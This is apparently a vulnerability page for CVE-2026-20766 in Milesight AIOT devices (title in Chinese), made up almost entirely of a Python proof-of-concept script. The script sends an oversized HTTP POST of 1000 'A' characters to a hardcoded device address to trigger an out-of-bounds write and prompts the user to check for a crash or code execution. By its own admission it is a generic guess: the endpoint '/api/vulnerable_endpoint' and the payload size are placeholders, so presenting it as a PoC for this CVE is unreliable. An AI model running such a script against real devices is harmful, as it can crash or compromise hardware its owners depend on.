CVE-2026-20766 Milesight AIOT越界内存访问漏洞

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ PoC for CVE-2026-20766 (Milesight AIOT Out-of-bounds Write) Note: This is a generic demonstration structure based on the vulnerability description. Actual offsets and trigger mechanisms require firmware analysis. """ import socket import sys # Target configuration TARGET_IP = "192.168.1.100" TARGET_PORT = 80 def send_exploit(): # Constructing a malicious payload to trigger out-of-bounds access # This payload simulates a buffer overflow or specific malformed request header = "POST /api/vulnerable_endpoint HTTP/1.1\r\n" header += "Host: {}\r\n".format(TARGET_IP) header += "Content-Type: application/json\r\n" # Padding to exceed expected buffer size # 'A' * 1000 is arbitrary, actual size depends on firmware analysis payload = "A" * 1000 request = header + "Content-Length: {}\r\n".format(len(payload)) request += "\r\n" request += payload try: print("[+] Sending exploit payload to {}:{}...".format(TARGET_IP, TARGET_PORT)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) s.send(request.encode()) response = s.recv(1024) print("[+] Received response:") print(response.decode()) s.close() print("[+] Exploit sent. Check device status for crash or code execution.") except Exception as e: print("[-] Error: {}".format(e)) if __name__ == "__main__": send_exploit()